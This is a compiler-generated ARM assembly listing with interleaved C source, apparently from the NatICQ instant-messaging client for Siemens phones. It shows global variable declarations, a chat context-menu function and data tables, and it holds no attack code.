\ 000001AC REQUIRE `?` \ IDLEICON_YX: \ 000001AC DS8 4 \ 000001B0 REQUIRE `?` \ I_COLOR: \ 000001B0 DS8 4 \ 000001B4 REQUIRE `?` \ TO_COLOR: \ 000001B4 DS8 4 \ 000001B8 REQUIRE `?` \ X_COLOR: \ 000001B8 DS8 4 \ 000001BC REQUIRE `?` \ O_I_COLOR: \ 000001BC DS8 4 \ 000001C0 REQUIRE `?` \ O_TO_COLOR: \ 000001C0 DS8 4 \ 000001C4 REQUIRE `?` \ O_X_COLOR: \ 000001C4 DS8 4 \ 000001C8 REQUIRE `?` \ ED_FONT_SIZE: \ 000001C8 DS8 4 \ 000001CC REQUIRE `?` \ ED_H_FONT_SIZE: \ 000001CC DS8 4 \ 000001D0 REQUIRE `?` \ ED_X_FONT_SIZE: \ 000001D0 DS8 4 \ 000001D4 REQUIRE `?` \ O_ED_FONT_SIZE: \ 000001D4 DS8 4 \ 000001D8 REQUIRE `?` \ O_ED_H_FONT_SIZE: \ 000001D8 DS8 4 \ 000001DC REQUIRE `?` \ O_ED_X_FONT_SIZE: \ 000001DC DS8 4 \ 000001E0 REQUIRE `?` \ ACK_COLOR: \ 000001E0 DS8 4 \ 000001E4 REQUIRE `?` \ UNACK_COLOR: \ 000001E4 DS8 4 \ 000001E8 REQUIRE `?` \ ENA_AUTO_XTXT: \ 000001E8 DS8 4 \ 000001EC REQUIRE `?` \ NOT_LOG_SAME_XTXT: \ 000001EC DS8 4 \ 000001F0 REQUIRE `?` \ LOG_XTXT: \ 000001F0 DS8 4 \ 000001F4 REQUIRE `?` \ HISTORY_BUFFER: \ 000001F4 DS8 4 \ 000001F8 REQUIRE `?` \ ILL_DISP_RECV: \ 000001F8 DS8 4 \ 000001FC REQUIRE `?` \ ILL_KEYS_RECV: \ 000001FC DS8 4 \ 00000200 REQUIRE `?` \ ILL_RECV_TMR: \ 00000200 DS8 4 \ 00000204 REQUIRE `?` \ ILL_DISP_SEND: \ 00000204 DS8 4 \ 00000208 REQUIRE `?` \ ILL_KEYS_SEND: \ 00000208 DS8 4 \ 0000020C REQUIRE `?` \ ILL_SEND_TMR: \ 0000020C DS8 4 \ 00000210 REQUIRE `?` \ ILL_SEND_FADE: \ 00000210 DS8 4 \ 00000214 REQUIRE `?` \ ILL_RECV_FADE: \ 00000214 DS8 4 \ 00000218 REQUIRE `?` \ ILL_OFF_FADE: \ 00000218 DS8 4 \ 0000021C REQUIRE `?` \ extended_sounds: \ 0000021C DS8 4 \ 00000220 REQUIRE `?` \ sndVolume: \ 00000220 DS8 4 \ 00000224 REQUIRE `?` \ NATICQ_PORT: \ 00000224 DS8 4 \ 00000228 REQUIRE `?` \ RECONNECT_TIME: \ 00000228 DS8 4 \ 0000022C REQUIRE `?` \ main_d: \ 0000022C DS8 4 \ 00000230 REQUIRE `?` \ align: \ 00000230 DS8 4 \ 00000234 REQUIRE `?` \ canvasdata: \ 00000234 DS8 4 \ 00000238 REQUIRE `?` \ paused_height: \ 00000238 DS8 4 \ 0000023C REQUIRE `?` \ wsBuffer: \ 0000023C DS8 4 \ 00000240 REQUIRE `?` \ uins: \ 00000240 DS8 4 \ 00000244 REQUIRE `?` \ saver_on: \ 00000244 DS8 4 \ 00000248 REQUIRE `?` \ Is_PING_On: \ 00000248 DS8 4 \ 0000024C REQUIRE `?` \ Is_SLI_On: \ 0000024C DS8 4 \ 00000250 REQUIRE `?` \ Is_SMARTCPU_On: \ 00000250 DS8 4 \ 00000254 REQUIRE `?` \ Is_INC_On: \ 00000254 DS8 4 \ 00000258 REQUIRE `?` \ Is_ILU_On: \ 00000258 DS8 4 \ 0000025C REQUIRE `?` \ Is_Double_Vibra_On: \ 0000025C DS8 4 \ 00000260 REQUIRE `?` \ total_unread2: \ 00000260 DS8 4 \ 00000264 REQUIRE `?` \ maincsm_id: \ 00000264 DS8 4 \ 00000268 REQUIRE `?` \ maingui_id: \ 00000268 DS8 4 \ 0000026C REQUIRE `?` \ SENDMSGCOUNT: \ 0000026C DS8 4 \ 00000270 REQUIRE `?` \ Is_Vibra_Enabled: \ 00000270 DS8 4 \ 00000274 REQUIRE `?` \ Is_Id3tag_Enabled: \ 00000274 DS8 4 \ 00000278 REQUIRE `?` \ ews: \ 00000278 DS8 4 \ 0000027C REQUIRE `?` \ scrsTime: \ 0000027C DS8 4 \ 00000280 REQUIRE `?` \ msg_away_timer: \ 00000280 DS8 4 \ 00000284 REQUIRE `?` \ away_m: \ 00000284 DS8 4 \ 00000288 REQUIRE `?` \ status_rem: \ 00000288 DS8 4 \ 0000028C REQUIRE `?` \ change_back_status: \ 0000028C DS8 4 \ 00000290 REQUIRE `?` \ Show_XTX: \ 00000290 DS8 4 \ 00000294 REQUIRE `?` \ Is_UPTIME_On: \ 00000294 DS8 4 \ 00000298 REQUIRE `?` \ uptimeHour: \ 00000298 DS8 4 \ 0000029C REQUIRE `?` \ uptimeMin: \ 0000029C DS8 4 \ 000002A0 REQUIRE `?` \ uptimeSec: \ 000002A0 DS8 4 \ 000002A4 REQUIRE `?` \ tracktimer: \ 000002A4 DS8 4 \ 000002A8 REQUIRE `?` \ INC_show2: \ 000002A8 DS8 4 \ 000002AC REQUIRE `?` \ font: \ 000002AC DS8 4 \ 000002B0 REQUIRE `?` \ input_awaymsg_id: \ 000002B0 DS8 4 \ 000002B4 REQUIRE `?` \ silenthide: \ 000002B4 DS8 4 \ 000002B8 REQUIRE `?` \ disautorecconect: \ 000002B8 DS8 4 \ 000002BC REQUIRE `?` \ Is_Sounds_Enabled: \ 000002BC DS8 4 \ 000002C0 REQUIRE `?` \ Is_Show_Offline: \ 000002C0 DS8 4 \ 000002C4 REQUIRE `?` \ Is_Show_Groups: \ 000002C4 DS8 4 \ 000002C8 REQUIRE `?` \ CurrentStatus: \ 000002C8 DS8 4 \ 000002CC REQUIRE `?` \ CurrentPrivateStatus: \ 000002CC DS8 4 \ 000002D0 REQUIRE `?` \ vibra_count: \ 000002D0 DS8 4 \ 000002D4 REQUIRE `?` \ templates_chars: \ 000002D4 DS8 4 \ 000002D8 REQUIRE `?` \ templates_lines: \ 000002D8 DS8 4 \ 000002DC REQUIRE `?` \ bot_chars: \ 000002DC DS8 4 \ 000002E0 REQUIRE `?` \ bot_lines: \ 000002E0 DS8 4 \ 000002E4 REQUIRE `?` \ RXstate: \ 000002E4 DS8 4 \ 000002E8 REQUIRE `?` \ connect_state: \ 000002E8 DS8 4 \ 000002EC REQUIRE `?` \ sock: \ 000002EC DS8 4 \ 000002F0 REQUIRE `?` \ TOTALRECEIVED: \ 000002F0 DS8 4 \ 000002F4 REQUIRE `?` \ TOTALSENDED: \ 000002F4 DS8 4 \ 000002F8 REQUIRE `?` \ ALLTOTALRECEIVED: \ 000002F8 DS8 4 \ 000002FC REQUIRE `?` \ ALLTOTALSENDED: \ 000002FC DS8 4 \ 00000300 REQUIRE `?` \ sendq_l: \ 00000300 DS8 4 \ 00000304 REQUIRE `?` \ sendq_p: \ 00000304 DS8 4 \ 00000308 REQUIRE `?` \ is_gprs_online: \ 00000308 DS8 4 \ 0000030C REQUIRE `?` \ total_unread: \ 0000030C DS8 4 \ 00000310 REQUIRE `?` \ cltop: \ 00000310 DS8 4 \ 00000314 REQUIRE `?` \ GROUP_CACHE: \ 00000314 DS8 4 \ 00000318 REQUIRE `?` \ contactlist_menu_id: \ 00000318 DS8 4 \ 0000031C REQUIRE `?` \ edchat_id: \ 0000031C DS8 4 \ 00000320 REQUIRE `?` \ 00000320 DS8 4 \ 00000324 REQUIRE `?` \ ICON_HD: \ 00000324 DS8 4 \ 00000328 REQUIRE `?` \ tenseconds_to_ping: \ 00000328 DS8 4 \ 0000032C REQUIRE `?` \ kopa_online: \ 0000032C DS8 4 \ 00000330 REQUIRE `?` \ kopa_kontaktu: \ 00000330 DS8 4 \ 00000334 REQUIRE `?` \ gui_methods2: \ 00000334 DS8 96 \ 00000394 REQUIRE `?` \ old_redraw: \ 00000394 DS8 4 \ 00000398 REQUIRE `?` \ 00000398 DS8 4 \ 0000039C REQUIRE `?` \ 0000039C DS8 4 \ 000003A0 REQUIRE `?` \ DNR_ID: \ 000003A0 DS8 4 \ 000003A4 REQUIRE `?` \ DNR_TRIES: \ 000003A4 DS8 4 \ 000003A8 REQUIRE `?` \ host_counter: \ 000003A8 DS8 4 \ 000003AC REQUIRE `?` \ ping_time: \ 000003AC DS8 4 \ 000003B0 REQUIRE `?` \ NEW_MSG: \ 000003B0 DS8 4 \ 000003B4 REQUIRE `?` \ time_to_stop_t9: \ 000003B4 DS8 4 \ 000003B8 REQUIRE `?` \ comanda: \ 000003B8 DS8 4 \ 000003BC REQUIRE `?` \ INC_show: \ 000003BC DS8 4 \ 000003C0 REQUIRE `?` \ old_ed_redraw: \ 000003C0 DS8 4 \ 000003C4 REQUIRE `?` \ 000003C4 DS8 64 \ 00000404 REQUIRE `?` \ fontColor: \ 00000404 DS8 1 \ 00000405 REQUIRE `?` \ bgrColor: \ 00000405 DS8 1 \ 00000406 REQUIRE `?` \ 00000406 DS8 2 \ awayMsg: \ 00000408 DS8 1024 \ 00000808 REQUIRE `?` \ elf_path: \ 00000808 DS8 256 \ 00000908 REQUIRE `?` \ ContactT9Key: \ 00000908 DS8 32 \ 00000928 REQUIRE `?` \ per_s: \ 00000928 DS8 3 \ 0000092B REQUIRE `?` \ 0000092B DS8 1 \ fontpath: \ 0000092C DS8 64 \ 0000096C REQUIRE `?` \ CsmAdr: \ 0000096C DS8 12 \ 00000978 REQUIRE `?` \ awayHelloMsg: \ 00000978 DS8 24 \ 00000990 REQUIRE `?` \ ignor_list: \ 00000990 DS8 256 \ 00000A90 REQUIRE `?` \ playing: \ 00000A90 DS8 16 \ 00000AA0 REQUIRE `?` \ PASS: \ 00000AA0 DS8 12 \ 00000AAC REQUIRE `?` \ sndStartup: \ 00000AAC DS8 64 \ 00000AEC REQUIRE `?` \ sndSrvMsg: \ 00000AEC DS8 64 \ 00000B2C REQUIRE `?` \ sndGlobal: \ 00000B2C DS8 64 \ 00000B6C REQUIRE `?` \ sndGlobal2: \ 00000B6C DS8 64 \ 00000BAC REQUIRE `?` \ sndMsg: \ 00000BAC DS8 64 \ 00000BEC REQUIRE `?` \ sndMsg2: \ 00000BEC DS8 64 \ 00000C2C REQUIRE `?` \ sndMsgSent: \ 00000C2C DS8 64 \ 00000C6C REQUIRE `?` \ pingsnd: \ 00000C6C DS8 64 \ 00000CAC REQUIRE `?` \ SMILE_FILE: \ 00000CAC DS8 64 \ 00000CEC REQUIRE `?` \ TEMPLATES_PATH: \ 00000CEC DS8 64 \ 00000D2C REQUIRE `?` \ ICON_PATH: \ 00000D2C DS8 64 \ 00000D6C REQUIRE `?` \ SMILE_PATH: \ 00000D6C DS8 64 \ 00000DAC REQUIRE `?` \ XSTATUSES_PATH: \ 00000DAC DS8 64 \ 00000DEC REQUIRE `?` \ HIST_PATH: \ 00000DEC DS8 64 \ 00000E2C REQUIRE `?` \ NATICQ_HOST: \ 00000E2C DS8 128 \ 00000EAC REQUIRE `?` \ suc_config_name: \ 00000EAC DS8 64 \ 00000EEC REQUIRE `?` \ suc_config_name_mod: \ 00000EEC DS8 64 \ 00000F2C REQUIRE `?` \ talk_sound: \ 00000F2C DS8 128 \ 00000FAC REQUIRE `?` \ unread_msg_info: \ 00000FAC DS8 64 \ 00000FEC REQUIRE `?` \ last_msg_buffer: \ 00000FEC DS8 4048 \ 00001FBC REQUIRE `?` \ mytmr3: \ 00001FBC DS8 16 \ 00001FCC REQUIRE `?` \ PINGO: \ 00001FCC DS8 256 \ 000020CC REQUIRE `?` \ scrsTmr: \ 000020CC DS8 16 \ 000020DC REQUIRE `?` \ away_msg: \ 000020DC DS8 264 \ 000021E4 REQUIRE `?` \ away_msg_time: \ 000021E4 DS8 64 \ 00002224 REQUIRE `?` \ away_msg_time_dace: \ 00002224 DS8 16 \ 00002234 REQUIRE `?` \ tim_zone: \ 00002234 DS8 16 \ 00002244 REQUIRE `?` \ away_tmr: \ 00002244 DS8 16 \ 00002254 REQUIRE `?` \ mytmr: \ 00002254 DS8 16 \ 00002264 REQUIRE `?` \ mytmr2: \ 00002264 DS8 16 \ 00002274 REQUIRE `?` \ mytmr4: \ 00002274 DS8 16 \ 00002284 REQUIRE `?` \ tracktmr: \ 00002284 DS8 16 \ 00002294 REQUIRE `?` \ onlineTime: \ 00002294 DS8 128 \ 00002314 REQUIRE `?` \ onContact: \ 00002314 DS8 64 \ 00002354 REQUIRE `?` \ incs2: \ 00002354 DS8 16 \ 00002364 REQUIRE `?` \ logmsg: \ 00002364 DS8 256 \ 00002464 REQUIRE `?` \ tmr_illumination: \ 00002464 DS8 16 \ 00002474 REQUIRE `?` \ tmr_vibra: \ 00002474 DS8 16 \ 00002484 REQUIRE `?` \ reconnect_tmr: \ 00002484 DS8 16 \ 00002494 REQUIRE `?` \ tmr_active: \ 00002494 DS8 16 \ 000024A4 REQUIRE `?` \ clm_hdr_text: \ 000024A4 DS8 64 \ 000024E4 REQUIRE `?` \ clmenu_sk_r: \ 000024E4 DS8 16 \ 000024F4 REQUIRE `?` \ statusTmr: \ 000024F4 DS8 16 \ 00002504 REQUIRE `?` \ status: \ 00002504 DS8 64 \ 00002544 REQUIRE `?` \ hostbuf2: \ 00002544 DS8 128 \ 000025C4 REQUIRE `?` \ hostname: \ 000025C4 DS8 128 \ 00002644 REQUIRE `?` \ I_UIN: \ 00002644 DS8 12 \ 00002650 REQUIRE `?` \ a_txt: \ 00002650 DS8 48 \ 00002680 REQUIRE `?` \ s_txt: \ 00002680 DS8 48 \ 000026B0 REQUIRE `?` \ d_txt: \ 000026B0 DS8 48 \ 000026E0 REQUIRE `?` \ f_txt: \ 000026E0 DS8 48 \ 00002710 REQUIRE `?` \ g_txt: \ 00002710 DS8 48 \ 00002740 REQUIRE `?` \ develop: \ 00002740 DS8 16 \ 00002750 REQUIRE `?` \ requests1: \ 00002750 DS8 24 \ 00002768 REQUIRE `?` \ requests2: \ 00002768 DS8 20 \ 0000277C REQUIRE `?` \ requests3: \ 0000277C DS8 24 \ 00002794 REQUIRE `?` \ requests4: \ 00002794 DS8 20 \ 000027A8 REQUIRE `?` \ requests6: \ 000027A8 DS8 24 \ 000027C0 REQUIRE `?` \ mod_info: \ 000027C0 DS8 264 \ 000028C8 REQUIRE `?` \ show_nick: \ 000028C8 DS8 32 \ 000028E8 REQUIRE `?` 7673 { 7674 Quote, 7675 Quote2, 7676 AddSmile, 7677 GetShortInfo, 7678 AddCurContact, 7679 SendAuthReq, 7680 SendAuthGrant, 7681 OpenLogfile, 7682 ClearLog, 7683 }; 7684 7685 char ecm_contactname[64]; \ ecm_contactname: \ 000028E8 DS8 64 \ 00002928 REQUIRE `?` \ In segment DATA_I, align 4, align-sorted \ disk: \ 00000000 DS8 4 \ 00000004 REQUIRE `?` \ In segment DATA_I, align 4, align-sorted \ IsActiveUp: \ 00000000 DS8 4 \ 00000004 REQUIRE `?` \ In segment DATA_I, align 4, align-sorted \ ??sk: \ 00000000 DS8 8 \ 00000008 REQUIRE `?` \ In segment DATA_I, align 4, align-sorted \ input_awaymsg_sk: \ 00000000 DS8 24 \ 00000018 REQUIRE `?` \ In segment DATA_I, align 4, align-sorted \ input_awaymsg_skt: \ 00000000 DS8 8 \ 00000008 REQUIRE `?` \ In segment DATA_I, align 4, align-sorted \ menuproc: \ 00000000 DS8 20 \ 00000014 REQUIRE `?` 7686 \ In segment DATA_C, align 4, align-sorted 7687 static const HEADER_DESC ecmenu_HDR={0,0,NULL,NULL,NULL,(int)ecm_contactname,LGP_NULL}; \ ecmenu_HDR: \ 00000000 000000000000 DC16 0, 0, 0, 0 \ 0000 \ 00000008 00000000.... DC32 0H, ecm_contactname, 2147483647 \ ....FFFFFF7F \ 00000014 080000000000 DC32 8, 0H, ecmenu_ghook, 0H, menusoftkeys, menu_skt, 0, 0H \ 0000........ \ 00000000.... \ ............ \ 000000000000 \ 0000 \ 00000034 ............ DC32 ecmenu_ITEMS, ecmenu_HNDLS, 9 \ ....09000000 7688 7689 static const MENU_DESC ecmenu_STRUCT= 7690 { 7691 8,NULL,ecmenu_ghook,NULL, 7692 menusoftkeys, 7693 &menu_skt, 7694 0, 7695 NULL, 7696 ecmenu_ITEMS, 7697 ecmenu_HNDLS, 7698 EC_MNU_MAX 7699 }; 7700 \ In segment CODE, align 4, keep-with-next 7701 void ec_menu(EDCHAT_STRUCT *ed_struct) 7702 { \ ec_menu: \ 00000000 70402DE9 PUSH {R4-R6,LR} \ 00000004 28D04DE2 SUB SP,SP,#+40 \ 00000008 0040A0E1 MOV R4,R0 7703 CLIST *t; 7704 int to_remove[EC_MNU_MAX+1]; 7705 int remove=0; 7706 if ((t=ed_struct->ed_contact)) \ 0000000C 001094E5 LDR R1,[R4, #+0] \ 00000010 000051E3 CMP R1,#+0 \ 00000014 4800000A BEQ ??ec_menu_0 7707 { 7708 if (t->name) \ 00000018 ........ LDR R5,??DataTable166 ;; S_ICONS \ 0000001C E800A0E3 MOV R0,#+232 \ 00000020 A00D80E3 ORR R0,R0,#0x2800 \ 00000024 050080E0 ADD R0,R0,R5 \ 00000028 142091E2 ADDS R2,R1,#+20 \ 0000002C 0300000A BEQ ??ec_menu_1 7709 { 7710 strncpy(ecm_contactname,t->name,63); \ 00000030 3F20A0E3 MOV R2,#+63 \ 00000034 141081E2 ADD R1,R1,#+20 \ 00000038 160100EF SWI +278 \ 0000003C 020000EA B ??ec_menu_2 7711 } 7712 else 7713 { 7714 sprintf(ecm_contactname,"%u",t->uin); \ ??ec_menu_1: \ 00000040 0C2091E5 LDR R2,[R1, #+12] \ 00000044 3E1F8FE2 ADR R1,??ec_menu_3 ;; "%u" \ 00000048 160000EF SWI +22 7715 } 7716 if (EDIT_GetFocus(ed_struct->ed_chatgui)==ed_struct->ed_answer) \ ??ec_menu_2: \ 0000004C 040094E5 LDR R0,[R4, #+4] \ 00000050 820100EF SWI +386 \ 00000054 082094E5 LDR R2,[R4, #+8] \ 00000058 0210A0E3 MOV R1,#+2 \ 0000005C 020050E1 CMP R0,R2 \ 00000060 0500001A BNE ??ec_menu_4 7717 { 7718 to_remove[++remove]=0; \ 00000064 0020A0E3 MOV R2,#+0 \ 00000068 04208DE5 STR R2,[SP, #+4] 7719 to_remove[++remove]=1; \ 0000006C 0260A0E3 MOV R6,#+2 \ 00000070 0120A0E3 MOV R2,#+1 \ 00000074 08208DE5 STR R2,[SP, #+8] \ 00000078 010000EA B ??ec_menu_5 7720 } 7721 else 7722 { 7723 // to_remove[++remove]=1; 7724 to_remove[++remove]=2; \ ??ec_menu_4: \ 0000007C 0160A0E3 MOV R6,#+1 \ 00000080 04108DE5 STR R1,[SP, #+4] 7725 } 7726 7727 if (ed_struct->ed_answer<=2) \ ??ec_menu_5: \ 00000084 080094E5 LDR R0,[R4, #+8] \ 00000088 030050E3 CMP R0,#+3 \ 0000008C 030000AA BGE ??ec_menu_6 7728 to_remove[++remove]=7; \ 00000090 016086E2 ADD R6,R6,#+1 \ 00000094 0D00A0E1 MOV R0,SP \ 00000098 0720A0E3 MOV R2,#+7 \ 0000009C 062180E7 STR R2,[R0, +R6, LSL #+2] 7729 7730 if (!ed_struct->ed_contact || connect_state!=3) \ ??ec_menu_6: \ 000000A0 000094E5 LDR R0,[R4, #+0] \ 000000A4 000050E3 CMP R0,#+0 \ 000000A8 0200000A BEQ ??ec_menu_7 \ 000000AC E80295E5 LDR R0,[R5, #+744] \ 000000B0 030050E3 CMP R0,#+3 \ 000000B4 1000000A BEQ ??ec_menu_8 7731 { 7732 to_remove[++remove]=2; \ ??ec_menu_7: \ 000000B8 010086E2 ADD R0,R6,#+1 \ 000000BC 0D20A0E1 MOV R2,SP \ 000000C0 001182E7 STR R1,[R2, +R0, LSL #+2] 7733 to_remove[++remove]=3; \ 000000C4 010080E2 ADD R0,R0,#+1 \ 000000C8 0D10A0E1 MOV R1,SP \ 000000CC 0320A0E3 MOV R2,#+3 \ 000000D0 002181E7 STR R2,[R1, +R0, LSL #+2] 7734 to_remove[++remove]=4; \ 000000D4 010080E2 ADD R0,R0,#+1 \ 000000D8 0420A0E3 MOV R2,#+4 \ 000000DC 002181E7 STR R2,[R1, +R0, LSL #+2] 7735 to_remove[++remove]=5; \ 000000E0 010080E2 ADD R0,R0,#+1 \ 000000E4 0520A0E3 MOV R2,#+5 \ 000000E8 002181E7 STR R2,[R1, +R0, LSL #+2] 7736 to_remove[++remove]=6; \ 000000EC 016080E2 ADD R6,R0,#+1 \ 000000F0 0D00A0E1 MOV R0,SP \ 000000F4 0610A0E3 MOV R1,#+6 \ 000000F8 061180E7 STR R1,[R0, +R6, LSL #+2] 7737 } 7738 7739 patch_header(&ecmenu_HDR); \ ??ec_menu_8: \ 000000FC 44509FE5 LDR R5,??ec_menu_3+0x4 ;; ecmenu_HDR \ 00000100 0500A0E1 MOV R0,R5 \ 00000104 ........ _BLF patch_header,??patch_header??rA 7740 to_remove[0]=remove; \ 00000108 00608DE5 STR R6,[SP, #+0] 7741 CreateMenu(0,0,&ecmenu_STRUCT,&ecmenu_HDR,0,EC_MNU_MAX,ed_struct,to_remove); \ 0000010C 0D00A0E1 MOV R0,SP \ 00000110 01002DE9 PUSH {R0} \ 00000114 10002DE9 PUSH {R4} \ 00000118 0530A0E1 MOV R3,R5 \ 0000011C 0900A0E3 MOV R0,#+9 \ 00000120 01002DE9 PUSH {R0} \ 00000124 142085E2 ADD R2,R5,#+20 \ 00000128 0010A0E3 MOV R1,#+0 \ 0000012C 0000A0E3 MOV R0,#+0 \ 00000130 01002DE9 PUSH {R0} \ 00000134 520100EF SWI +338 \ 00000138 10D08DE2 ADD SP,SP,#+16 7742 } 7743 } \ ??ec_menu_0: \ 0000013C 28D08DE2 ADD SP,SP,#+40 ;; stack cleaning \ 00000140 7080BDE8 POP {R4-R6,PC} ;; return \ ??ec_menu_3: \ 00000144 25750000 DC8 "%u",+0 \ 00000148 ........ DC32 ecmenu_HDR 7744 7745 \ In segment CODE, align 4, keep-with-next 7746 void AskNickAndAddContact(EDCHAT_STRUCT *ed_struct) 7747 { 7748 CreateAddContactGrpDialog(ed_struct->ed_contact); \ AskNickAndAddContact: \ 00000000 000090E5 LDR R0,[R0, #+0] \ 00000004 ........ _BF CreateAddContactGrpDialog,??CreateAddContactGrpDialog??rA ;; tailcall 7749 } 7750 \ In segment CODE, align 4, keep-with-next 7751 void AddSmile(GUI *data) 7752 { \ AddSmile: \ 00000000 00402DE9 PUSH {LR} 7753 EDCHAT_STRUCT *ed_struct=MenuGetUserPointer(data); \ 00000004 E00100EF SWI +480 7754 CreateSmileSelectGUI(ed_struct); \ 00000008 ........ _BLF CreateSmileSelectGUI,??CreateSmileSelectGUI??rA 7755 GeneralFuncF1(1); \ 0000000C 0100A0E3 MOV R0,#+1 \ 00000010 3B0100EF SWI +315 7756 } \ 00000014 0080BDE8 POP {PC} ;; return \ In segment CODE, align 4, keep-with-next \ ??DataTable1: \ 00000000 ........ DC32 ElfKiller \ In segment CODE, align 4, keep-with-next \ ??DataTable3: \ 00000000 ........ DC32 Pinger2 \ In segment CODE, align 4, keep-with-next \ ??DataTable4: \ 00000000 ........ DC32 SendAnswer \ In segment CODE, align 4, keep-with-next \ ??DataTable11: \ 00000000 ........ DC32 Remind_Timer2 \ In segment CODE, align 4, keep-with-next \ ??DataTable14: \ 00000000 ........ DC32 GetTags \ In segment CODE, align 4, keep-with-next \ ??DataTable16: \ 00000000 ........ DC32 `?` \ In segment CODE, align 4, keep-with-next \ ??DataTable19: \ 00000000 ........ DC32 S_ICONS \ In segment CODE, align 4, keep-with-next \ ??DataTable29: \ 00000000 ........ DC32 def_setting \ In segment CODE, align 4, keep-with-next \ ??DataTable31: \ 00000000 ........ DC32 CurrentXStatus \ In segment CODE, align 4, keep-with-next \ ??DataTable42: \ 00000000 ........ DC32 S_ICONS \ In segment CODE, align 4, keep-with-next \ ??DataTable43: \ 00000000 ........ DC32 S_ICONS \ In segment CODE, align 4, keep-with-next \ ??DataTable49: \ 00000000 ........ DC32 XStatusesImgList \ In segment CODE, align 4, keep-with-next \ ??DataTable50: \ 00000000 ........ DC32 S_ICONS \ In segment CODE, align 4, keep-with-next \ ??DataTable55: \ 00000000 ........ DC32 icon_array + 8 \ In segment CODE, align 4, keep-with-next \ ??DataTable58: \ 00000000 ........ DC32 icon_array \ In segment CODE, align 4, keep-with-next \ ??DataTable59: \ 00000000 ........ DC32 S_ICONS \ In segment CODE, align 4, keep-with-next \ ??DataTable61: \ 00000000 ........ DC32 S_ICONS + 784 \ In segment CODE, align 4, keep-with-next \ ??DataTable62: \ 00000000 ........ DC32 `?` \ In segment CODE, align 4, keep-with-next \ ??DataTable63: \ 00000000 ........ DC32 total_xstatuses \ In segment CODE, align 4, keep-with-next \ ??DataTable64: \ 00000000 ........ DC32 S_ICONS \ In segment CODE, align 4, keep-with-next \ ??DataTable66: \ 00000000 ........ DC32 do_reconnect \ In segment CODE, align 4, keep-with-next \ ??DataTable73: \ 00000000 ........ DC32 S_ICONS \ In segment CODE, align 4, keep-with-next \ ??DataTable74: \ 00000000 ........ DC32 main_count \ In segment CODE, align 4, keep-with-next \ ??DataTable78: \ 00000000 ........ DC32 SendAnswer \ In segment CODE, align 4, keep-with-next \ ??DataTable81: \ 00000000 ........ DC32 CurrentXStatus \ In segment CODE, align 4, keep-with-next \ ??DataTable85: \ 00000000 ........ DC32 `?` \ In segment CODE, align 4, keep-with-next \ ??DataTable86: \ 00000000 ........ DC32 S_ICONS \ In segment CODE, align 4, keep-with-next \ ??DataTable88: \ 00000000 ........ DC32 `?` \ In segment CODE, align 4, keep-with-next \ ??DataTable102: \ 00000000 ........ DC32 S_ICONS \ In segment CODE, align 4, keep-with-next \ ??DataTable103: \ 00000000 ........ DC32 total_xstatuses \ In segment CODE, align 4, keep-with-next \ ??DataTable110: \ 00000000 ........ DC32 process_active_timer \ In segment CODE, align 4, keep-with-next \ ??DataTable112: \ 00000000 ........ DC32 my_keyhook \ In segment CODE, align 4, keep-with-next \ ??DataTable117: \ 00000000 ........ DC32 create_connect \ In segment CODE, align 4, keep-with-next \ ??DataTable118: \ 00000000 ........ DC32 S_ICONS \ In segment CODE, align 4, keep-with-next \ ??DataTable119: \ 00000000 ........ DC32 `?` \ In segment CODE, align 4, keep-with-next \ ??DataTable120: \ 00000000 ........ DC32 S_ICONS \ In segment CODE, align 4, keep-with-next \ ??DataTable124: \ 00000000 ........ DC32 XStatusesImgList \ In segment CODE, align 4, keep-with-next \ ??DataTable125: \ 00000000 ........ DC32 do_reconnect \ In segment CODE, align 4, keep-with-next \ ??DataTable126: \ 00000000 ........ DC32 create_connect \ In segment CODE, align 4, keep-with-next \ ??DataTable127: \ 00000000 ........ DC32 SendAnswer \ In segment CODE, align 4, keep-with-next \ ??DataTable128: \ 00000000 ........ DC32 end_socket \ In segment CODE, align 4, keep-with-next \ ??DataTable129: \ 00000000 ........ DC32 ClearSendQ \ In segment CODE, align 4, keep-with-next \ ??DataTable131: \ 00000000 ........ DC32 CurrentXStatus \ In segment CODE, align 4, keep-with-next \ ??DataTable135: \ 00000000 ........ DC32 `?` \ In segment CODE, align 4, keep-with-next \ ??DataTable136: \ 00000000 ........ DC32 ElfKiller \ In segment CODE, align 4, keep-with-next \ ??DataTable137: \ 00000000 ........ DC32 addIconBar \ In segment CODE, align 4, keep-with-next \ ??DataTable138: \ 00000000 ........ DC32 Pinger2 \ In segment CODE, align 4, keep-with-next \ ??DataTable139: \ 00000000 ........ DC32 my_keyhook \ In segment CODE, align 4, keep-with-next \ ??DataTable141: \ 00000000 ........ DC32 S_ICONS + 784 \ In segment CODE, align 4, keep-with-next \ ??DataTable144: \ 00000000 ........ DC32 `?` \ In segment CODE, align 4, keep-with-next \ ??DataTable145: \ 00000000 ........ DC32 end_socket \ In segment CODE, align 4, keep-with-next \ ??DataTable146: \ 00000000 ........ DC32 S_ICONS \ In segment CODE, align 4, keep-with-next \ ??DataTable147: \ 00000000 ........ DC32 create_connect \ In segment CODE, align 4, keep-with-next \ ??DataTable151: \ 00000000 ........ DC32 main2_count \ In segment CODE, align 4, keep-with-next \ ??DataTable153: \ 00000000 ........ DC32 S_ICONS \ In segment CODE, align 4, keep-with-next \ ??DataTable154: \ 00000000 ........ DC32 S_ICONS \ In segment CODE, align 4, keep-with-next \ ??DataTable160: \ 00000000 ........ DC32 `?`: \ 00000000 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000010 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000020 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000030 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000040 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000050 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000060 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 000000000000 \ 0000 \ `?`: \ 00000074 ............ DC32 maincsm_onmessage, maincsm_oncreate, 0, 0, 0, 0, maincsm_onclose \ ....00000000 \ 000000000000 \ 000000000000 